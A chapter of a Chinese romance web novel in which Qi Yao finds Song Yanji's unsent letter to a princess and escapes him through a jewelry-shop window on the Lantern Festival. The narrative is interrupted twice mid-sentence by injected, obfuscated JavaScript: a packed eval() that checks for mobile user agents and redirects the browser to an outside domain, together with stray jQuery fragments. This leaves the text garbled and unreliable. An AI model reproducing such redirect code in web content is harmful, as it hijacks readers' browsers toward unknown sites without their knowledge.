宋厌疾倏地睁开眼,梦中情景带来的那股冲击还在,心跳比往常快许多,他从榻上坐起身,深呼吸将心绪平复下来。 原来是梦一场。 他像个第三人一样旁观这一切,梦里的家伙虽和自己有着同一副皮囊,却像条狗一样对着祁谣献殷勤,看得他鸡皮疙瘩都要起来了。 他怎么会做这样奇怪的梦? 宋厌疾眼眸一沉。 他没记错的话,这场荒唐梦境的最后,祁谣喊自己的那个称呼......只有姜望舒叫过。 他这几日当真是被姜懿行扰得烦了,竟在睡梦里混淆起来。 明日便是上元节了,既然姜懿行想来,那他就偏要带着祁谣先行离开。 断了他死缠烂打的念头。 * 另一边的院子里岁月静好,今早小桃从库房拿了箱工具来,准备干些花匠的活计,祁谣在一旁帮衬着打下手,这会儿正握着一柄铁锹。 明日便是上元节了,待到那东西解开,宋厌疾再没什么办法束缚住她,她有的是手段能脱身。 心底已备好计划,祁谣相当有把握。她即将离开这里,不出意外的话今天会是待在定北侯府的最后一天。宋厌疾“照拂”了这些日子,她自然也要在离开前留下点什么。 于是她就从小桃的工具箱里拿出了这柄铁锹。 祁谣握着铁锹,驻在老梨花树下思索。 小桃刚修剪完侧枝,见状好奇地凑上前:“祁姑娘要挖什么,需要我帮忙吗?” 给宋厌疾挖坟,盼他早日入土。 她在心里腹诽道,但明面上不能这么诚实,只说是想栽种点花,所以翻翻土。 “栽花好呀!”小桃笑眯眯的,“我去库房再拿点花种来,祁姑娘你想要什么样的?” 祁谣意不在此,随口答:“山茶吧。” 反正她已经刻好“宋厌疾之墓”的木牌了,明日走前给他插土上。 “好呀。”小桃提着裙摆又小碎步跑出去了。 院子里只剩祁谣一人,她抄起铁锹准备在老梨花树下挖个浅表的土坑。 时间还没过去多久,祁谣挖着挖着,铁锹像是触碰到了什么坚硬的物件,发出一声脆响。 她眉头微动,俯身看去,松软的土壤间竟露出一截颜色不一的边角。铁锹试着推了推,露出一个完整的木匣子来,绝对是人为藏匿的。 祁谣抬头瞅了眼高大粗壮的老梨花树,暗自猜测这该不会是私藏的酒酿吧? 于是铁锹被她搁置在一旁,祁谣蹲下来,取出木匣子仔细打量,一点儿酒香也没闻着。 匣子没上锁,她出于好奇打开一角,里头空荡荡的,哪是什么酒酿。 她略感遗憾,不由得更好奇里头的物件了,还有什么东西是要埋在地里的? 木匣子被彻底打开,祁谣微微讶异,里头只静静躺着泛黄的纸张。 什么信笺要被这般藏着掩着? 脑海里顷刻便闪过许多种猜测,像这般深藏着的,很可能涉及世家或皇宫里的机密情报。祁谣眼神微微发亮,连忙展开信纸。 目光触及第一行字,瞳孔骤缩。 上面用清秀的字迹写着:公主亲启。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749895|174289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >皇宫里可就那么一位公主。 写给她的?什么时候? 视线匆匆跳过正文,先一步去看右下角的落款日期和署名。 永宁十八年。 宋厌疾。 难怪她不曾收到。 永宁十八年,正是璇玑宫出事,她在世人眼里死去的那一年。 这封信写完的时候,怕是连送出去的机会都没有。 祁谣盯着署名的那三个字。 他们自学宫一别便再无往来,宋厌疾为什么要给她写信? 以及——宋厌疾对姜望舒的在意究竟从何而来?答案也许就在这封信里。 -好久不见,殿下还记得我吗?很抱歉给你带来了麻烦,我从父亲那无意间听到陛下要为你我赐婚,圣旨尚未拟定,你似乎对此还不知情,所以我写下了这封信来询问意愿。我很珍惜殿下,不想你因为毫不知情就被指婚而与我疏远。如果你不愿意,我会为此抗争。明日去学宫,我会托姜懿行向你转达这封信,但愿你还记得我。 祁谣快速阅完内容,久久沉默。 以当年的情况来看,哪怕她不愿这桩婚事,皇帝也会指婚旁人,根本由不得她选择。 难怪宋厌疾这么在意姜望舒相关的一切...... 在他眼里,姜望舒差点就成了他的未来正妻。 若是璇玑宫没有走水,若是她没有被母亲送走...... 脑海中浮现起和宋厌疾同穿婚服夫妻对拜的画面,她心一凉,劫后余生般将信纸放回,重新盖好木匣子埋回去。 她死遁了。除了她自己,世上没有第二个人知道,姜望舒还活着。 未能送出的信被宋厌疾埋藏在象征他们初见的梨花树下。 祁谣神情复杂。 他看着一副张扬放肆的模样,内里竟是这么个深情种? 最要命的是,张扬放肆是对她,情深意重也是对她。 还好他不知道自己就是姜望舒,姜懿行说得那么振振有词,他也没起过疑心。 祁谣不禁松一口气。 她一心只想着脱身后离宋厌疾远远的,若是被发现这层身份,只怕是还会纠缠不休。 今日之她非昨日,祁谣不需要他的情深意重,那只会徒增困扰。 但——如果宋厌疾能被利用,为她带来实打实的价值,那就另当别论了。 这封信给祁谣带来的冲击力太大,以至于小桃从库房带着种子回来时,她仍是一副怔怔的样子。 “祁姑娘?你还好吗?” 祁谣摆了摆手:“抱歉,站久了有点累,我想回去休息一下了。” 小桃眉目担忧,扶着她回到内室。祁谣整个人呈“大”字躺倒在床榻上。 祁姑娘很少这副样子,看起来劳累得不轻。 她记得自己临走前,祁姑娘是要翻土种花。 翻土会让人累成这样吗?还是那柄铁锹太沉了所以比较费劲? 小桃不知道,但她想起世子那句“不要把她照顾得死气沉沉”,整个人一激灵。 今天的祁姑娘有些反常,她还是提前禀告世子好了。 15. 上元节 上元节。 定北侯府的大门口挂起两盏纸灯笼,样式颇有人情味,淡下了几分威严。祁谣重新站在这里,两眼略过久违的街巷光景,如释重负般深吸一口气。 她很快就要重获自由了。 出行的车轿已然提前备好,宋厌疾简单视察片刻,一袭暗色劲装将宽肩窄腰的身形勾勒得利落,一身银饰花里胡哨泠泠作响,尤其是那只银色的月牙耳坠,即便在暖融融的灯光下也仍然显示出几分不近人情的冷酷来。 他回眸看着祁谣:“走吧,去热闹的地方。” * 天色渐渐暗下来,京城才刚入夜,大街小巷里就已经升起光点来。街市灯火通明,来往人流络绎不绝,行人摩肩擦踵,不给他们并排走的余地。 于是便只好一前一后地逛,祁谣走在前头,宋厌疾紧随身后,牢牢盯着她,冷声警告道:“别想耍什么花招。” 这会儿出了定北侯府便自在多了,走路也轻盈起来。祁谣左右环顾道路两旁,轻笑一声,耸肩道:“我的刀和毒针都被你搜去了,还能有什么招数?” 她虽两手空空着,但宋厌疾并没有因此松懈下来,他回想起前世交手,被祁谣赤手空拳戏耍的次数也不少。如今没有什么东西能够强行绑着她,庙会街市也不比定北侯府能由他说了算,自然要打起精神,生怕被祁谣抓住破绽趁机脱身。 上元节本就是许多青年男女幽会的好时候,两道靓丽的身影行至街市,一个瞧着淡漠内敛,一个意气张扬,气质便与旁人不同,在周围一片人群里分外惹眼。 他们漫无目的地闲逛,边上成对的青年男女越来越多,道路拥挤,有些缺德的便不管不顾地推搡起来。祁谣顺着那股劲倏地往右闪,才刚拉开一点距离就又被宋厌疾拽了回去。 祁谣清瘦,手腕也纤细,被宋厌疾死死扣着,逐渐递增的力道紧得发疼。 她微微蹙起眉,看着宋厌疾紧张的模样,反而慢悠悠开口:“松点力,你抓疼我了。” 她本就没指望靠这点技俩脱身,方才只是初步试探下,宋厌疾的精神比她料想的还要紧绷。 宋厌疾闻言果真手指松开了些,只轻轻圈住她的手腕:“贼心不死。” 面上神色未变,心下却是疑惑起来,他为什么要听祁谣的,但身体又确确实实地照做了。 他拉着祁谣,转头就向人流稀疏的地方去:“这太挤了,我们去另一边。” 他们还未走出几步,便有个小贩马不停蹄地凑上前来,手中提着几只工巧的花灯,脸上堆起谄媚讨好的笑容,先是天花乱坠地夸了一通他们郎才女貌,继而笑呵呵问:“真是一对璧人,小的这里有几盏花灯可以写下心愿,托给天上神明,买过的都说灵验!二位可有需要?” 宋厌疾本就冷着脸,听了这番话更是皱眉,刚要否认,就见祁谣直接伸手接了笔,挑了盏最丑的,洋洋洒洒写下几个大字。 宋厌疾死了。 “......” 这卖灯小贩出于职业道德没去看她写了什么,宋厌疾却是实打实看着她一笔一划写下的。他咬牙,剜了祁谣一眼,也接了盏灯。 下笔遒劲有力,如刀锋一般像是要将纸芯割破。 祁谣偏过头去看他写的什么,不出意外,也是含恨的话语。 卖灯的小贩接过宋厌疾递来的金块,两眼放光。 出手如此阔绰,他果然没看错人! 他连忙将纸芯放进花灯里,讨好地笑:“大伙儿都在护国寺前庭里放灯呢,据说那里许愿最灵,两位可要我带路?” 祁谣没有拿回那盏花灯,漫不经心道:“不必了。” 且不论世上有没有真的鬼神,便是有,她也无需仰仗他们的力量。 她想杀的人,自会去杀。 宋厌疾听她这副口气,冷哼一声:“不信鬼神,还许愿点灯?” “不是我付钱,不写白不写。” * 上元夜不设宵禁,此时天色像一幕泼倒的浓墨,街市上的人反而更多了。 祁谣估摸着差不多到点了,眼神在两侧的商铺逡巡,锁定了一家热闹的首饰铺,不紧不慢往里走进去。 宋厌疾收力紧握住她的手腕:“去哪?” 祁谣回过头,指了指首饰铺的牌匾:“花你的钱。” “呵。”他像是被气笑了,“你想得美。” “今日出门这一遭只是为了避开姜懿行,可不是真让你出来玩的。” “那我自己买。”祁谣甩开他,自顾自迈步进去。 眼看着身影越来越远,宋厌疾短暂犹豫片刻还是跟上了。 他不喜欢首饰铺里的脂粉味,但又怕人离得远了一个眨眼间就会不见。 他咬咬牙还是步入了这家看着平平无奇的首饰铺,一进门就有小厮笑呵呵迎上来,打趣道:“二位站一块真是般配,小的早就在门口留意好久了,这位郎君方才可是和您的夫人闹矛盾了?瞧她独自试了半晌您才肯进来。” “不是我夫人。”宋厌疾黑着脸,顿了顿又补充说,“带我去找她。” “好嘞。”那小厮笑应,领着他往里走去。 门口处的窃窃私语声逐渐飘远,但宋厌疾听力过人,还是将他们的八卦内容听了个一清二楚。 “看起来还是在闹矛盾呢!也不知先前说了什么。” 另一人偷偷瞄了眼宋厌疾,扑哧一声笑道:“小吵怡情,你瞧,那位郎君不还是立马跟上来要哄人呢!” “看着气度不凡......衣饰也华贵,像是什么会一掷千金博美人一笑的富家公子,欸早知道我就迎上去了,这个月业绩肯定不愁。” 祁谣仔细留意着门口的动静,自然也听到了这些谈论声。她默不作声又往挪走几步,佯装气恼对边上的人说道:“我还在气头上,不想看见他。” 伙计和和气气地劝解:“姑娘消消气,这男人惹你烦心了就搁置一边,咱们先看看这批新制的簪子步摇。” 祁谣哼一声:“有没有私密一点的梳妆间?我气没消,不想这么快被他找到。” 她继续利诱:“至少也得等他自觉把这批新款都包起来,我才肯赏脸露个面。” 伙计一听笑得更乐了,连忙把人带进梳妆间。 “好好好,您先在这儿坐着,还有其他喜欢的款式也大可一试。我出去暗示那位郎君,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754526|174289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定叫他服软赔礼,把您哄高兴。” 祁谣露出一个无害的微笑,从衣袖里取出几两银子来:“有劳了。” 伙计见状两眼放光,喜滋滋地接过揣进兜里。 果然没看走眼,是对有钱的贵人!这些人身上随便抖点边角下来,都够他们吃顿好的了。 她欣然出去找那位郎君了。 待人离去,祁谣收敛笑意。 梳妆间里的铜镜被擦得光亮,映着此刻面无表情的模样。 她扫视一圈,梳妆间虽小,却开了扇窗。 嘴角轻缓地一翘一翘,她几乎要压不住上扬了。 祁谣露出今日第一个真心实意的笑容。 这不就能脱身了吗? 还好她赌对了,这件首饰铺不仅有个宋厌疾暂时进不来的地方,还有一扇金蝉脱壳的窗。她最擅长翻窗了。 单凭一个人甩不掉宋厌疾,还好自己煽动了这帮首饰铺的伙计进来搅混水,一个劲儿给宋厌疾添乱。他这会儿估计正晕头转向着呢。 看来往后对付他,还得用些圆滑的办法。 祁谣轻巧地越过窗沿,不曾往后回头。 终于逃出宋厌疾的身边了。 下次见面,便是她要杀他的时候。 她是溜之大吉了,另一边的宋厌疾却对此毫不知情,被首饰铺的伙计团团围住,忽悠他买这买那。 呛人的脂粉气从四面八方往鼻腔里钻,熏得他脑袋都要发麻。宋厌疾紧皱着眉,仅剩不多的耐心终于被消耗殆尽,眼神里也升起几分戾气。 他不耐烦道:“她人在哪?” 可惜身侧的伙计被利益蒙了眼睛,还在嘻嘻哈哈:“您夫人正在气头上呢,大人不妨先将这批簪子都包起来表示诚意,再低头认个错,说不准她就消气愿意见您了。” 其他人见机也想给自己冲个业绩:“这几支近日时兴的步摇也不错,大人看看吧。” 祁谣在跟他演一出什么乱七八糟的戏码? 事出反常必有妖,更何况这是祁谣,绝对有蹊跷。 心头隐隐升起不好的预感,愈演愈烈。 “都滚开!”耐心告竭,宋厌疾干脆拔剑,脸色冰到极点,质问,“我最后问一遍,她在哪?” 剑身泛起冷冽寒光,迅速将身边清了个空。 先前还有说有笑的伙计,被这副阵仗吓得脸都白了。 她连忙改口答:“梳妆间!那位姑娘在梳妆间!” “带路。” 梳妆间里空空如也,木窗大开。 “这......”那名伙计见状,话都说不利索了,“那位姑娘就是在这的呀......” 好端端的人怎么就这么消失了。 她的心里只剩下一个念头——完了。 宋厌疾背对着他们,不发一言,往日里总扮深情的桃花眼这会儿却是冰冷,眼底暗流涌动,眸中没有光点。 本该是明亮的琥珀色随眼神沉下来,望得人心里一阵发寒。 首饰铺的伙计们不自觉屏息,连气都不敢喘了。 梳妆间内一片死寂,宋厌疾冷笑着,将剑身一点点推回鞘中,转身离开。